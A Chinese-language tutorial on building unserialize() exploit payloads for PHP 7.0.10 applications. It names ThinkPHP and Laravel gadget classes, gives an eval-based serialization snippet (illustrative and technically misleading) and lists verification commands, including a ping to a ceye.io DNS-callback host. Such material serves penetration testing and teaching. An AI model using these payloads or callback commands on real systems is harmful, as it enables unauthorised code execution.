PHP 7.0.10 无通用反序列化漏洞,PoC 需基于应用层不安全的 unserialize() 调用,结合可控类链与 __wakeup/__destruct 实现代码执行等效果,须通过源码确认可利用类并手动生成 payload。

明确目标点:找到 `unserialize()` 的用户输入入口
PHP 7.0.10 本身无通用反序列化漏洞,漏洞存在于应用程序代码中。PoC 前必须确认目标存在类似以下模式的代码:
$data = $_GET['payload']; unserialize($data);$cookie = $_COOKIE['session']; @unserialize(base64_decode($cookie));- 从 Redis/Memcached 中读取并反序列化的 session 数据
没有这样的调用点,任何 PoC 都无效。
构造可控类链:依赖已知可利用的类(非 PHP 内置,而是目标应用加载的类)
PHP 7.0.10 不支持 `__invoke` 在非对象上下文中自动触发等新特性,但完全支持 `__wakeup` 和 `__destruct`。PoC 关键是找到目标环境中已加载、且其方法可被链式调用的类,例如:
- ThinkPHP 5.0.x 的
think\Request(若存在 `method` 参数可控 + `__call` 可触发 `call_user_func_array`) - Laravel 5.2–5.4 的
Illuminate\Broadcasting\PendingBroadcast(需配合 `__destruct` 调用 `dispatch`) - 自定义日志类中 `__destruct` 写入可控内容到文件
不能假定存在某类——必须通过源码审计、composer.json 或错误回显确认类名和方法行为。
立即学习“PHP免费学习笔记(深入)”;
生成有效 payload:用原生 PHP 构造并编码
避免依赖外部工具生成不可靠的字符串。推荐手写最小化 payload 示例(以触发 `phpinfo()` 为例):
<?php
class ExampleExploit {
private $cmd = 'phpinfo()';
public function __wakeup() {
eval($this->cmd);
}
}
echo urlencode(serialize(new ExampleExploit()));
?>
输出类似:O%3A13%3A%22ExampleExploit%22%3A1%3A%7Bs%3A8%3A%22%00ExampleExploit%00cmd%22%3Bs%3A9%3A%22phpinfo%28%29%22%3B%7D
发送时注意 URL 编码、Content-Type(如 `application/x-www-form-urlencoded`)、是否需 base64 编码二次包裹等上下文要求。
验证与防误报:用多维响应特征交叉判断
仅靠 `phpinfo()` 输出关键字易误报(如页面本身含 phpinfo)。应组合验证:
- 发起两个请求:一个带 payload,一个带空/无效 payload,对比响应长度、状态码、响应头(如
X-Powered-By是否变化) - 执行命令写入临时文件(如
file_put_contents('/tmp/test_'.md5(time()), 'poc')),再 GET 访问/tmp/test_*确认 - 触发 DNS 请求(如
system('ping -c1 xxx.ceye.io')),通过第三方 DNS 日志平台确认外连
单一判断维度不可靠,尤其在 WAF 或 CDN 存在时。



















